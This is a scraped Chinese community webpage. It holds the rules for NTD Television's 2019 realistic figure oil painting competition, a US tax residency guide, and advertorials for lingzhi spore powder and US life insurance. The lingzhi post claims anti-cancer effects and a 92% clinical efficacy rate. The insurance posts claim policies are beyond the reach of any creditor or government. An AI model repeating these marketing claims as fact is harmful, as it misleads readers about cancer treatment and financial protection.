金獎:一名,獎金 10,000 美元、金牌及獲獎證書; 銀獎:二名,每名獎金 3,000 美元、銀牌及獲獎證書; 銅獎:三名,每名獎金 1,500 美元、銅牌及獲獎證書; 傑出技法獎:若干名,每名獎金 1,000 美元及獲獎證書; 傑出人文獎:若干名,每名獎金 1,000 美元 及獲獎證書; 傑出新秀獎:若干名,每名獎金 1,000 美元及獲獎證書 ; 優秀獎多名:頒發榮譽證書。 四、入圍作品展覽及畫冊 入圍作品將於美國紐約市公開展覽 ,並將其收錄於《2019 新唐人電視台第五屆「全世界人物寫實 油畫大賽」》畫冊中,於全世界公開發行。 五、評委會 「全世界人物寫實油畫大賽」評委會由資深藝術家組成。評委會全權負責比賽的評審工作,評委 會的評定為本比賽不可改變的最終決定。 六、參賽條件 1、專業藝術院校和美術團體的美術教師、創作人員和學生等專業人士,以及具有專業水準的美術 愛好者,均可報名參加; 2、本屆大賽所有評委均不得參賽。 七、參賽內容及要求 1、參賽者需按照正統寫實技法進行創作; 2、參賽作品的命名和內容均以恢復傳統文化與藝術為根本,不能含有非理性或怪異的現代意識; 3、參賽作品必須是參賽者本人創作、以人物為主體、表現善與美的油畫作品(最多三幅)。 八、參賽報名及比賽程序 1、報名參賽者寄送參賽資料 1) 報名截止日期:2019 年 5 月 31 日。 2) 參賽資料: a. 參賽作品的高清晰度照片(電子檔大小不得超過 20MB) ; b. 本人有效身份證明影印本; c. 「全世界人物寫實油畫大賽」報名表(可從大賽網站下載),其中必須包括作品名稱和創作構 思(100 字以內為宜); d. 個人履歷表(可從大賽網站下載,包括個人主要經歷、曾獲獎項及其證書影印本); 3) 鑑於某些參賽者的情況,本大賽特許使用藝名參賽。有意使用藝名參賽的,請在報名表中加註 藝名,本大賽將確保在公開場合(如展覽、媒體報導、畫冊等)使用其藝名; 4) 所有報名資訊必須完整; 5) 報名費 :50 美元(第一幅參賽作品)。每增加一幅作品另付 10 美元,付款方式包括信用卡、 現金、旅行支票和現金支票; 6) 掛號快件費:對於需要美國入境簽證的參賽者,請在參賽報名表中做出選擇,並預付 35 美元掛 號快件費(用於郵寄簽證材料); 7) 支票抬頭請用 NEW TANG DYNASTY TELEVISION; 台灣參賽者也可以用等值的新台幣支付 報名費,按報名當日新台幣的美元匯率計算, 具體付款條件請與新唐人亞太電視股份有限公司聯 絡; 8) 報名方法: a. 網上註冊: https://register.ntdtv.com/oilpainting b. 電子郵件: oilpainting@globalcompetitions.org c. 熱線電話:1-862-245-0439 (或台灣 0800-281-182) d. 傳真:1-212-918-3479 9) 報名參賽者宜採用電子郵件方式寄送所有參賽資料(有關檔案複印件及參賽作品的照片以電子 郵件的附件方式寄送);對於使用電腦確有困難的參賽者,其參賽資料也可郵寄至: 229 W. 28th Street, 7th Floor, New York, NY 10001, USA,並請註明:「全世界人物寫實油畫大賽」組委會收; 10) 為保證參賽資格, 請務必在報名截止日期前向大賽組委會提供完整的參賽資料並付清費用; 11) 對於郵寄至組委會的參賽資料,大賽組委會概不退還。 2、入圍 1) 報名截止之後,大賽評委會將根據大賽的宗旨和要求挑選入圍作品,並在大賽網站上公佈; 2) 大賽組委會將於 2019 年 6 月 10 日之前以電子郵件發出入圍通知; 3) 參賽者將入圍作品原作在 2019 年 7 月 31 日之前以掛號方式寄至大賽組委會,以備評委會確定 獎項、編輯第五屆「全世界人物寫實油畫大賽」畫冊及籌備展覽。 3、展覽 新唐人電視台第五屆「全世界人物寫實油畫大賽」的展覽將於 2019 年 10 月底在美國紐約市舉 行,場地與日期及相關事宜確定後於網上公佈。 如果入圍者要求使用自己的畫框參加展覽,則須將入圍作品裝框後在上款說明的期限內寄來;否 則,組委會將為入圍作品定制畫框參加展覽(費用由參賽畫家負擔,價格根據具體尺寸和選用材 料由製作單位確定)。 4、頒獎及相關活動 大賽組委會將於 2019 年 10 月底在入圍作品展覽現場舉辦頒獎典禮。 展覽期間,組委會還將舉辦參觀、交流等活動,交流藝術創作的心得,研討如何恢復傳統文化與 藝術。相關時程安排將於入圍通知中附上,並在大賽網站上公佈。 九、原作處理辦法: 1、由作者於展覽結束時自行取回; 2、由大賽組委會在一定時間內寄回至作者(郵寄費用由參賽者負擔); 3、短期寄存於組委會,之後按照作者的要求處理; 4、由作者捐贈給大賽組委會,主辦單位簽發收藏證書。 5、請於報名表中說明或勾選原作處理辦法。 十、食宿及交通安排 1、大賽組委會將為來紐約參加活動的參賽者及其陪同人員推薦酒店; 2、來紐約參加活動的參賽者及其陪同人員的所有費用一律自理。 十一、版權 1、參賽作者享有參賽作品版權等相應權利,並以報名表簽字作為法律依據。大賽組委會不承擔由 於作者的有意或者無意而導致的任何法律責任; 2、大賽主辦單位享有入圍作品的版權使用權。原作及其複製品如有銷售者,參賽作者將根據協定 獲得相應的版權費(具體辦法另行協商)。 十二、其它 1、參賽者一旦投稿,將視為無條件接受本次大賽所有規則; 2、參賽者須遵守大賽組委會的一切安排。如有違反者,大賽組委會有權取消其參賽資格及其所獲 獎項。抄襲他人作品或任何類似行為者,一切後果自負; 3、比賽期間所有音像版權均屬新唐人電視台所有; 4、大賽評委會的決定視為最終決定,恕不接受任何申訴; 5、大賽組委會擁有對本次大賽規則的最終解釋權並有權更改大賽章程; 6、大賽章程若有任何修正,將以大賽網站公佈為準。 新唐人電視台「全世界人物寫實油畫大賽」組委會 2018 年 2 月 20 日” duration=”30S” autoplay=”yes” /]

國際繪畫比賽2019,油畫比賽2019,2019美術比賽,全世界人物寫實油畫大賽

「全世界人物寫實油畫大賽」是新唐人電視台舉辦的系列大賽之一,是全世界藝術家展示才華、恢復傳統寫實油畫藝術的平台。

官方網站:https://oilpainting.ntdtv.com/index.html#intro


 

本項大賽要求參賽畫家以「純真-純善-純美」為宗旨、以正統 的學院派寫實技法,創作出表現光明、正義、善良、美等內涵、具有傳統價值的人物油畫作品。

比賽流程節點  報名截止  2019年7月15日
公佈入圍名單    2019年7月20日
頒獎典禮            2019年11月24-30日
拍賣                     2019年11月30日
參賽條件

1、專業藝術院校和美術團體的美術教師、創作人員和學生等專業人士,以及具有 專業水準的美術愛好者,均可報名參加;

2、本屆大賽所有評委均不得參賽。

參賽報名及比賽程序

1、報名參賽者寄送參賽資料

1) 報名截止日期:2019年7月15日

2)參賽資料:

  1. 參賽作品的高清晰度照片(電子檔大小不得超過20MB);
  2. 本人有效身份證明影印本;
  3. 「全世界人物寫實油畫大賽」報名表(可從大賽網站下載),其中必須包括作品 名稱和創作構思(100字以內為宜);
  4. 個人履歷表(可從大賽網站下載,包括個人主要經歷、曾獲獎項及其證書影印本);

3) 鑒於某些參賽者的情況,本大賽特許使用藝名參賽。有意使用藝名參賽的,請在報名表中加註藝名,本大賽將確保在公開場合(如媒體報道、畫冊等)使用其藝名;

4) 所有報名資訊必須完整。

5) 報名費: 50美元(第一幅參賽作品),每增加一幅作品另付10美元。付款方式包括信用卡、現金、旅行支票或現金支票;

6) 掛號快件費:對於需要美國入境簽證的參賽者,請在參賽報名表中做出選擇, 並預付35美元掛號快件費(用於郵寄簽證材料)

7) 支票抬頭請用 NEW TANG DYNASTY TELEVISION;
台灣參賽者也可以用等值的新台幣支付報名費,按報名當日新台幣的美元匯率計算。具體付款方式請與新唐人亞太電視股份有限公司聯絡;

8) 報名方法:

  1. 網上註冊﹕直接在線填寫報名表
  2. 電子郵件:下載報名表 (見下)﹐列印﹑填寫後﹐掃描到電腦中用電子郵件發給大賽組委會﹕
    oilpainting@globalcompetitions.org
  3. 郵局郵寄﹕下載報名表 (見下)﹐列印﹑填寫後﹐郵寄給大賽組委會﹕
    229 W. 28th Street, 7th Floor, New York, NY 10001, U.S.A.
  4. 熱線電話: 1-888-878-6166 (或台灣 1-800-281-182
  5. 傳真:下載報名表 (見下)﹐列印﹑填寫後﹐發傳真至 1-888-567-0906

9) 報名參賽者宜採用電子郵件方式寄送所有參賽資料(有關文件和複印件及參賽者作品的照片以電子郵件的附件方式寄送)。對於使用電腦確有困難的參賽者,其參賽資料也可郵寄至: 229 W. 28th Street, 7th Floor, New York, NY 10001, U.S.A., 並請註明:「 全世界人物寫實油畫大賽」組委會收;

10) 為保證參賽資格,請務必在報名截止日期前向大賽組委會提供完整的參賽資 料並付清費用;

11) 對於郵寄至組委會的參賽資料,大賽組委會概不退還。

2、入圍

1)報名截止之後,大賽評委會將根據大賽的宗旨和要求挑選入圍作品,並在大賽網站上公佈;

2)大賽組委會將於2019年7月20日之前發出入圍通知;

3) 參賽者請將入圍作品原作在2019年8月20日之前以掛號方式寄至大賽組委會,以備評委會確定獎項、編輯第五屆「全世界人物寫實油畫大賽」畫冊及籌備展覽。

3、展覽

新唐人電視臺第五屆「全世界人物寫實油畫大賽」的展覽將於2019年11月24日至30日於美國紐約的薩瑪港迪藝術俱樂部(Salmagundi Art Club)舉行,地址為:47 5th Avenue, New York, NY 10003。 如果入圍者要求使用自己的畫框參加展覽,則須將入圍作品裝框後在上款說明的期限內寄來;否則,組委會將為入圍作品定制畫框參加展覽(費用由參賽畫家負擔,價格根據具體尺寸和選用材料由製作單位確定)。

董锡强,《我是谁》,2011年第三届大赛银奖作品。(新唐人全世界写实人物油画大赛组委会提供)

范一鸣,《藏族男孩》,2008年第一届大赛银奖作品。(新唐人全世界写实人物油画大赛组委会提供)

第4届全世界写实人物油画大赛优秀奖作品:Mary Phillips,《待位皇后埃斯特》,20 × 24英寸。(新唐人全世界写实人物油画大赛组委会提供)

4、頒獎及相關活動

大賽組委會將在入圍作品公開展覽現場舉辦頒獎典禮。

展覽期間,組委會還將舉辦參觀、交流等活動,交流藝術創作的心得,研討如何恢復傳統文化與藝術。 相關時程安排將於入圍通知中附上,並在大賽網站上公佈。

獎項設置

另設有:

傑出技法獎:若干名,每名獎金1,000美元及獲獎證書;

傑出人文獎:若干名,每名獎金1,000美元及獲獎證書;

傑出新秀獎:若干名,每名獎金1,000美元及獲獎證書;

優秀獎:若干名,頒發榮譽證書。

影音介紹

精湛的技法創作表現傳統文化內涵的,
恢復傳統美術、回歸傳統道德的神聖使命共襄盛舉!

 

2019-03-04 / by / in ,
失眠疲劳身体变差?千万不要忽视这些重要信号

抗癌、抗癌药、抗癌保健品、化疗辅助品、增强免疫力、失眠治疗、抗过敏、抗衰老、抗疲劳、养肝、消炎止痛、降三高保健品、灵芝孢子粉、灵芝的功效、
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地址:Renaissance Tower, 136-33 37th Ave. #2B, Flushing, NY 11354(法拉盛好運來香港超市後門對面)

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你有没有感觉自己容易疲劳,但睡眠却不好还经常失眠?感冒一次拖拖拉拉半个月也不见好;身体有伤口恢复还很慢;肠胃也经常出些小问题。如果这些症状你都有,那么你可要注意了!你的免疫力正在下降。

感冒:天气一变就感冒,总觉得自己的身体像豆腐渣。怎么一点点天气的变化都经受不住?这可能就是免疫力低下的一个表现。身体适应能力差,还有感冒总是反复,想要彻底恢复时间也会比较长,都是免疫力下降的表现。

疲劳:在工作中经常打不起精神,稍微忙一下就觉得身体疲惫,去医院进行相关检查也不会查出明显病变,休息几天有所好转,但是持续时间较短又开始疲惫。

肠胃很敏感:吃饭吃多了吃少了都会不适应,和朋友出去吃别人都很正常你就会上吐下泻,这说明自身肠胃的保护功能存在问题,也是免疫力低下的一种表现。

容易被传染 伤口恢复慢:当周边人群出现感冒的时候,总是容易被传染,这就明显说明自身免疫力存在问题,而且当身体某部位出现划伤的时候,所需恢复时间比较长,而且极容易出现红肿流脓的症状。

免疫力下降的原因除了老化之外,還有生活環境不佳、不規律的生活方式、時常菸酒、營養不良或營養過剩、精神壓力過大等,都會使免疫系統負擔加重,健康狀態因此被破壞。

想要提升免疫力还要从生活方式开始。也可以通过食物进补进行提升。而提高免疫力的最佳补品,我们前文有提到,就是“仙草”灵芝。

灵芝对免疫调节,抗癌,降血糖、护肝,抗氧化、抗疲劳及抗辐射都有作用。而最大的功效就是增强免疫力和抗癌了。但是灵芝的吃法决定了它的吸收能力,灵芝采用传统煮泡磨粉会浪费很多营养价值。目前市面上卖的最火的就是灵芝破壁孢子粉。

灵芝破壁孢子粉:灵芝在生长成熟期,从灵芝菌褶中弹射出来的极其微小的卵形生殖细胞即灵芝的种子叫做孢子。每个灵芝孢子只有4-6个微米,是活体生物体,双壁结构,外被坚硬的几丁质纤维素所包围,人体很难充分吸收。破壁后更适合人体肠胃直接吸收。

真正增加免疫力抗癌的物质叫做灵芝三萜。这是灵芝的种重要药理成分,灵芝中的三萜成分对于抗肿瘤发挥着重要的功效。三萜类化合物是灵芝(孢子)发挥抗炎、镇痛、镇静、抗衰老、抑制肿瘤细胞、抗缺氧等作用的主要功效成分,实验证明灵芝三萜类具有迅速提高免疫力的作用,表现在促进淋巴细胞增殖,提高巨噬细胞、NK细胞、T细胞的吞噬能力和杀伤力。

中科牌赤灵芝孢子粉已在22家肿瘤医院用于肿瘤治疗,CFDA功效认证为「调节免疫、辅助抑制肿瘤」,并获得香港及新加坡中成药药品编号,是目前唯一获得抗肿瘤功效认证、适用于免疫疗法的灵芝产品。

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中科产品目前已经进入美国市场,纽约中科的灵芝采用人类首次在太空育种的灵芝品种。经检验,其有效成分浓度也是地面灵芝的数十倍以上,在中法科学院的共同研治下,中科赤灵芝孢子粉成为患者康复期的健康保障首选。在数万例癌症患者的临床使用中证实,临床有效率高达92%。

圖為中科集團攜國藥靈芝亮相紐約時報廣場。

几招改变生活 提高免疫力

保障优质睡眠:保障夜晚睡眠时间在6.5到7小时之间,中午睡觉在半个小时到一个小时之间,一天总计睡眠时间在7小时到8小时,当人体进入睡眠状态之后,身体增强免疫力功能的作用就随即开始了,如果每天无法保障睡眠,长期睡眠不足就会给身体造成损伤,包括思考能力减退、判断力下降以及免疫力低下。

经常体育锻炼:加强体育锻炼是防御一些疾病的灵丹妙药,通过这一点可以保障年轻,延缓衰老,最好保障每周三次以上的锻炼。

别忘了喝水:水是生命的源泉,喝水应该在晨起、两餐跟睡觉之前,此外,在此之外还需补充三升到五升的水,缺水会降低人的抵抗力,因此多喝水可以有效增加人体活力,还可以使得口腔黏膜保持湿润,有效增强抵抗细菌的能力。

均衡饮食:可以适当吃一些葱姜蒜,有效起到杀菌效果,还可以刺激t淋巴细胞跟巨噬细胞,提升免疫力,此外还需要多吃蔬菜、水果以及豆浆牛奶,要多吃排毒以及强身健体的食物。

 

2019-01-28 / by / in , , , ,
美国新移民?这件事一定不要忘了做

2018年,又有许多新入籍和拿到绿卡的中国人。在这里,小编和大家介绍在美国移民买保险的几大好处。

美国新移民? 那你必须购买美国人寿保险

根据美国国税局IRS 的规定,寿险保单内的利息收益免资本利益所得税,死亡赔偿金免收入税。因此美国绿卡和合照持有者如果想寻找天然的避税工具,人寿保险是非常好的选择。当被继承人投保并且指定受益人,被继承人死亡后,留给受益人的死亡赔偿金,受法律保护,不被列入被继承人的遗产范围。

与中国保险和香港保险相比,美国对于保险有着非常严格的规定。根据美国税法7702 规定,每一份人寿保险都一个最高的保费额度,在此额度范围内,保单投资所产生的收益才会免利益所得税。如果你放进去的保费远远超过IRS 规定的最大额度,那么你的保险就会被认为是一个投资工具,而非保障,也因此保险现金增值会被征得利息税。

金牌推荐:人寿保险 徐乐怡

没有美国身份,但是在美国有资产?那你必须购买美国人寿保险

最近遇到不少的海外高净值客户(非美国永久居民或者公民)询问是否购买美国保险。答案是可以的。但是有一些条件: 和美国有一定的联系 – 比如拥有房产,公司或一定的资产。非美国人在美国一旦拥有不动产,如果未来在美国被继承,那么需要缴纳40%遗产税,而且免税额仅有6万美金。美国税务局规定:被继承人身故后9个月,必须file 706NA税表,并支付税金,否则无法继承资产。这时候美国的寿险就起到关键作用。继承人可以用被继承人人寿保险的死亡赔偿金去缴付这部分遗产税。美国的指数型人寿保险(IUL)具有高达10倍左右的杠杆,可以用很少的资金获得很高的保额,等同于合理避税。

金牌推荐:纽约房屋险 商业险 劳工险 安信保险

购买美国保险可以有效帮您隔离生意或婚姻风险

在中国,家庭财务与企业财务不分家的模式,是很多中小型企业普遍采取的模式。所谓的一荣俱荣,一损俱损就是这个意思。但是这样的模式有相当大的风险,万一企业经营不当,甚至破产会对个人家庭的财务产生极大的破坏力。此外,一旦结婚,有了法律的婚姻关系,财产就是共有的。如果离婚,就要承担财产分割的风险。

美国寿险就有效的解决了这些问题。 因为美国人寿保险的现金价值是免受官司追讨并享受司法豁免的保障。也就是说,哪怕投保人破产,被追债或者坐牢,任何人,即使是政府也无法动及其保险上的钱。就算是离婚,大保额保单也不会被分割。但是如果在大陆购买保单,一旦当事人启用司法豁免,必须证明资金来源的清白,如果牵扯刑事犯罪,法院有权冻结,扣押,查封涉案人的保险。在美国购买的大额保险,受美国保险法案的约束,其他人或国家都是难以涉及到这部分财产的。

金牌推荐:美国历史最悠久的保险公司——国家人寿

美国保险物美价廉,美国保险体系信用度极高

人寿保险业在美国是个成熟而发达的市场,市场充分竞争为投保人带来低成本高服务的好处。美国的保费水平在世界范围内都算便宜的,在相同保障条件下,我们有专门做过比较,发现在美、中国大陆、香港和台湾买同样的保险,美国的保费只有中国大陆的五分之一,香港的三分之一、台湾的二分之一。

美国人寿保险的主要的客户对像是北美居民,而北美地区医疗较为进步,人均寿命长。生命表影响最大的就是以死亡为给付条件的寿险产品。预期寿命的越长,则意味着保险公司赔付期限的延后,保险的成本越低。

美国有将近1000家保险公司,很多保险公司都有上百年的经营历史,极少听到保险公司拒赔的新闻,一旦发生理赔争议,美国法律根据消费者利益最大化的原则,往往站在消费者一方,客户满意度较高。美国的保险公司极重信誉。当被保险人死亡时(当然前两年自杀除外),保险公司不会出现故意找借口不赔或是故意拖延情况。在免责条款这方面,与大陆对比美国的人寿保险是有非常大的优势的,特别大额保单,哪怕是吸毒致死、自然灾害、战乱、酒驾甚至不可抗力情况,都可以获得赔付。而在中国投过保的读者都知道,上述境况几乎无法在中国的保险公司获得理赔。

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杨再励商业保险专家

陈俊荣人寿保险顾问

灣區保險理財專家侯秀琴

2019-01-09 / by / in , ,
在美国买保险太重要了!

最近10年,在美国获得绿卡的中国移民越来越多。但美国与中国的国情有很大差异,导致在生活和社会交往当中,华人往往难以适应。比如保险,在很多华人的眼中,中国的保险很多都是名不副实,往往发生事故需要理赔时,保险公司会用各种理由减少赔偿或不赔偿。还有一些长达数年或数十年的分红险,往往投保人定期缴付一段时间后就开始后悔。不过美国的保险和中国的有很大差异。在美国几乎人人都需要保险。

为什么要在美国买保险?有这个必要吗?美国保险有哪些分类?又有哪些优势?小编今天分享一些关于美国保险的小知识,让有需要的小伙伴能快速入门。

​保险的必要性,重要性

一提到保险,大家最先想到的是什么?保障?风险?理财?还是满满的套路?虽然大家都知道,保险有一定的必要性,但不知道你是不是和我一样,担心购买之后无法获得相应保障。

担心归担心,保险总是人生的一个重大议题,好的保险产品能在我们的人生遭受意外和疾病的侵袭时雪中送炭,理想状态下,还可以优化我们的资产配置,为人生锦上添花。有人说,买保险,特别是买境外的保险真的会上瘾,这可不是夸张。一旦开始研究了,入坑了就停不下来的节奏。

我们为什么要在美国买保险?

这些年,越来越多人涌向香港买保险,你或许也听过1种说法——香港的保险比大陆的要“好”,而美国保险又比香港要“好”。可具体好在哪里?评判标准是什么?却没有一个固定的参照系。应该说,衡量一款保险产品,在同等保障额度的前提下,是否能以最低的价格,获得最大程度的保障和服务? 这才是衡量好与坏的金标准!

​以人寿险为例,获得同等的保障额度,香港保险的保费是大陆的三分之一,而美国只需六分之一的保费。费用方面的差距真不小。

所以,这是美国保险第一大优势:同等保障额度情况下,保费最低。

其次,和香港及大陆相比,美国的保险市场更为成熟稳定。从1760年代第一张保单发出,美国保险至今已有将近200多年的历史,许多保险公司都是百年老店了。而香港保险市场至今大概100年的历史,中国保险市场则仅仅发展30年不到。

所以,美国保险第二大优势是市场很成熟,对消费者来说,监管完善,不容易掉到坑里。

​美国保险有哪些种类呢?

保险的品类有很多,在美国,除了医疗保险、还有人寿保险、房屋和汽车保险等等。许多中国人来到美国生小孩,最先考虑的一定是医疗保险。美国的医疗保险体系,被称为Obama Care奥巴马健保,是上任美国总统的主要政绩之一,虽然被很多美国人吐槽,贵、而且全体民众被强制参保;不买甚至会被罚款……但目前川普政府并没有行之有效的替代方案并获得通过。

​美国的医疗保险类似中国的医保,不同的是:它全部都是商业保险,由不同的保险公司承保和运营。低收入贫困家庭呢,还可以申请医疗补助,也就是我们经常听到的所谓“白卡”。Medicaid. 在加州,白卡又被称为Medi-Cal, 取自medicaid + California的合音。

​但可惜的是,美国的医疗保险没有身份的外国人是无法购买的。同理,外国人也无权申请白卡。不过入籍了就可以申请。

如果还没入籍的话,美国的人寿保险也是非常好的选择。

和医疗保险不同,人寿险并不限制你购买人的身份,外国人也可以购买。但在美国的东西两大海岸,人寿险对外国人的开放程度不太一样,有些险种你在加州可以买,到了纽约就不卖给外国人。总的来说,美国西海岸在人寿保险方面限制比较少

“月有阴晴圆缺,人有旦夕祸福”——人寿险的第一大功能是风险和麻烦来临时,我们可以活得更“体面”一些。比如突然失业没有工作了,或者丧失了劳动能力,我们希望生活质量不要下降得太厉害,能支付日常生活开销,并cover房贷、车贷等负债。

还有“生前大病”医疗,超出了中国医保报销范围的自费部分,在遭受慢性疾病或重大疾病侵袭时,甚至意外身故时,能“雪中送炭”能给我们经济补偿。

第二大功能——投资理财,让将来的我们活得更好更舒适。人寿保险还可以叠加投资功能,通过获得投资收益,为未来做储备,打下更扎实的基础。比如我们作为年轻的父母,肯定也会考虑孩子将来的教育经费,从哪里来,需要多少、如何支付。以及退休后,是否可以保险红利和收益,来补充退休后的收入。

​买保险优先考虑家庭经济支柱

美国的保险种类繁多,选择很广,基本上任何人都可以投保,但配置保险建议还从家中的顶梁柱开始,然后再考虑其他人。

​挑选保险公司要慎重

美国法律规定,民众不可直接从保险公司购买保险,必须经过保险经纪或中介代理人。你可以找当地的华人代理,但要了解清楚对方的资质和从业年限,尽量不要仅仅依靠人情去购买,而是尽量考核对方是否专业,可靠。而且还应确定你的保险经纪人和保险公司,是否持有本州的执业执照。

在投保时要诚实告知对方,我们的健康状况,如果刻意隐瞒或不实,未来需要理赔时,就有可能会被保险公司认为刻意欺骗,到时候,保险公司有权利降低赔付的比例,甚至拒绝理赔。

金牌网有非常丰富的保险公司以及保险代理人资讯,他们都是从业多年的优秀保险经纪,在业内和华人圈中有很好的评价。希望可以帮到想要买保险的读者朋友。

​按自己的能力与需求去选择保单 不是越贵越好

在这里也要注意保险经纪和你沟通时,他们是一味向你推销保费高的品种,还是会根据你的情况,具体分析并推荐适合你的产品,这也是衡量对方是否靠谱的标准之一。

​此外,提前了解一些人寿保险相关的专有名词,也有助于我们迅速判断一款产品的好坏,比如什么是“生前利益”、慢性病和长期陪护的不同概念,什么理赔锁定期、保单的收费结构、保单是否有隐藏费用等。

2019-01-09 / by / in , , , , , ,
我今年在美国呆了2个月也要交税?美国报税全类型大解析

前几年选择投资移民的人这两年都陆陆续续地顺利拿到了绿卡。美国的年度家庭税务申报让很多新移民都头痛不已。尤其是新移民拿绿卡第一年的报税,经常是迷迷糊糊,自己是属于居民还是非居民?报税是要怎么报?国内的收入要不要报?美国没有收入要不要报?接下来的文章或许能帮您解决这些问题。

刚拿到绿卡的按什么身份报税?

首先如果想要确认是否是税务居民(US resident for taxpurposes),需要有两个测试:

一为绿卡测试,二为实际居住测试。

1、绿卡测试:如果您领绿卡的那年不满足实际居住测试,那您就有两个选择,一个选择是从您在拿到合法居民身份的第一天起开始算作税务居民。当然如果您该年拿到绿卡,那么您也可以选择该年全年都成为税务居民报税。
2、实际居住测试:如果您没有拿到绿卡成为永久居民。那么测试您是否为税务居民的方法就是计算您留美的天数。只要同时满足以下两个条件,即为税务居民:

1) 您在当年在美停留了至少31天;

2) 您近三年(包括当年)在美天数按照下面算法超过了183天:

I. 当年的全部天数,加上

II. 前一年的天数乘以三分之一,加上

III. 前两年的天数乘以六分之一。

1、举两个例子来说,无绿卡的王先生,17年在美国居住了120天,16年在美国居住了60天(乘以三分之一等于20天),15年在美180天(乘以六分之一等于30天),所以按照实际居住测试的算法,王先生近三年在美停留了120+20+30共170天,不满足183天的条件,所以17年的税表王先生只能算作是非居民,报税的时候就需要使用1040NR非居民的税表。

如果王先生17年拿到了绿卡呢?王先生是九月份登录拿到的绿卡成为了美国永久居民。接上例,按照实际居住测试王先生当年是非居民,但由于他于17年拿到了绿卡,所以他就可以选择两种报税的方式:

1) 他可以选择成为dual status,用双重身份来报税。9月份成为绿卡居民前算作非居民,9月份成为绿卡居民之后按照税务居民报税。这个操作起来非常复杂,需要专业的会计师帮您处理。

2) 由于王先生拿到了绿卡,所以他也可以选择自己全年都是税务居民来报税。这种情况下的处理就比较简单。但如果王先生在中国有很多资产的话,也需要专业的会计师好好加以规划。毕竟一拿绿卡就要承受美国全球收入报税的义务了。

拿了绿卡以后,卖掉国内的房子,需要交税吗?

首先有几个要点需要牢记:

1、美国是全球征税的国家!所有公民(Citizens)或者居民(Resident)都要全球征税。这里的Resident 就是指税务居民,简单点理解就是只要您报税的表格是1040 或者1040EZ,您就需要将全球的收入都总结好在美国的个人、家庭税表上报税。

2、海外赚的钱要报税!也就是说您海外如果有卖房产,尤其是中国这种房价一直攀升的国家,卖房子赚了大钱,就更得报税。

3、海外有账户,一年中哪怕有一天的所有海外账户总额折合成美元超过了$10,000美金就要将所有的海外账户申报给美国政府的金融犯罪执法局(Financial Crimes Enforcement Network )。

所以,很多客户在中国的老房子卖掉了,就来咨询,第一个问题是:我在中国的房子卖掉了,在美国要不要报税? 只要您是绿卡或者公民,在中国卖掉了任何房产,都要在美国报税。

第二个问题是:如果要报税的话我要准备哪些材料?与在美国买卖房产一样,在海外卖掉的房产也要准备买卖的合同,和当地的完税证明,还有其它的譬如您曾经装修过房产的收据之类该准备的资料。

第三个问题是:要交税么?可以享有那个自住房的减免条例么?如果您卖房子的价格高于您当时买房子的价格,当然要交税。因为您是美国的公民/居民,那意味着您一直居住在美国,所以不能享有那50万美金的减免条例。也就是说,卖价减去成本价,剩下的利润,该交多少税就交多少。

第四个问题是:税率是多少?联邦的税率长期资本利得可享有最高到20%的低税率,至于州、市等地方税率可以去地方网站上查询当地的征税标准。如果您是一年之内完成了买房、卖房的行为,那您的卖房行为属于短期资本投资,与您的其他劳动所得收入和其它收入适用一样的税率,联邦税率最高可达39.6%。

还有一个大家可能会忽略的很重要的要点就是我们在文章上文提到的第四点,就是海外账户要申报!切记,如果您在税表上报了海外房产的买卖,那么不可避免的您当年肯定是有海外账户的, 而且在您有卖房的情况下,这个金融账户的最高额肯定是超过了1万美金的。也就是说,在您卖房的当年,千万要申报海外账户。申报海外账户并不需要交税,但是不申报的罚款是非常高的,如果是非故意(Nonwillful)漏报, 罚金最高可达不超过$10,000每年, 而如果您是故意(Willful)漏报海外账户,会被处以高达$100,000或者50%账户余额(两者取高)的罚款。

所以,拿到绿卡可以自由进出美国着实是件好事,但只要一想到美国全球报税的税务体系就要头痛。拿到绿卡不容易,成为一个合法报税的绿卡飞人也不易。

2019-01-06 / by / in , , ,
☎【纽约交通】紐約交通局中文筆試題、交通局驾照申请表、路考中英文口令
2018-12-23 / by / in , , , , , , ,
女性买保险的十大理由

女性保险的事宜, 有以下十大理由。

理由一: 女人的寿命比男人长。依您的观察,请问在您的周围,公公比较多,还是婆婆比较多?这个事实对您有什么启示呢?也许在您的人生的最后一段路程,长至十几二十年,您或许需要自己照顾自己。对吗?


女人最害怕的是什么?就是——又老又穷。要避免贫穷,唯一的方法就是大量储蓄。问题是将钱储在哪里呢?

将钱存在银行或人寿保险?哪一项比较有效呢?我相信您从小的时候,就已经明白把钱存入银行的重要性。对吗?

理论上,经过这十几二十多年,您应该在银行里已经储蓄了一大笔钱,但事实上您有吗?假如您继续把钱存在银行里,将来的结果是什么呢?有很大的可能,会是又老又穷。您想沦落到这个可悲的局面吗?人寿保险是众所皆知,最系统化和有规律的最佳储蓄投资方法。有事的时候,它成为您的贴身保镖,无事的时候,它是您防老的储蓄!今天开始尽心尽力地为您将来的幸福做个最妥善的安排。好吗?

理由二: 女人的生理功能比男人多,有一句名言说的好,“女人你是最伟大的,因为你是母亲!”母亲意味着女人要比男人多一层责任,女人要怀胎十月,生儿育女。正是因为女人的生理功能比男人多,所以就可能患上一些只有女人才会得的病,有时候甚至失去生命。例如梅艳芳、李媛媛、陈晓旭。

理由三 女人的魅力会随着时间的流逝而降低,女人要不断自我增值,才能永保青春!“20岁的女人靠脸蛋、30岁的女人比魅力、40岁的女人比身段、50岁的女人比韵味、60岁的女人比身价。”所以从现在开始就应该为自己以后做打算,不断提高自己的身价,自我增值!

理由四保险是可以依靠的伴侣,在许多已拥有足够保障的女客户心中,保险是女人最放心的依赖,是一位从来不会背叛的伴侣。它从来不会扔下你自己不管,风风雨雨中总是静静地伴随着女性,永远提供一个温暖的怀抱呵护着你。

理由五保险是陪伴你终生的朋友,寿命对于每个人来说都是公平的,女人最大的幸福是长寿,任何一位女性具备比男性多活8至10年的概率。而女人最大的不幸也是长寿,任何一个女人都有可能度过8-10年孤单的老年时期。当伴侣自然离开你的时候,只有保险将成为伴侣的缩影和最好的朋友,而且一直陪伴你到终生。

1.自己到底需要不需要这样的保障?

2.如果人生遇到不幸(丧失工作能力或年老),你有怎样的应对措施?

3.你为自己准备了多少储备金?是用什么样的方式准备的?能做到专款专用吗?

4.自己现在手中拥有几份保险?都投保了哪几方面的保障?做到足额保障了吗?

5.如果你没有准备,那什么时候开始?时光流逝,年华老去,到时,一切都来不及了。

理由六 保险是提高身份的资本,有了保险的女人身价倍涨。一旦因意外需要改变生活的时候,保险给你带来的是身价和尊严,给你带来的是更多的选择和主动,拥有保险的女人更是女性能力和地位提升的体现。

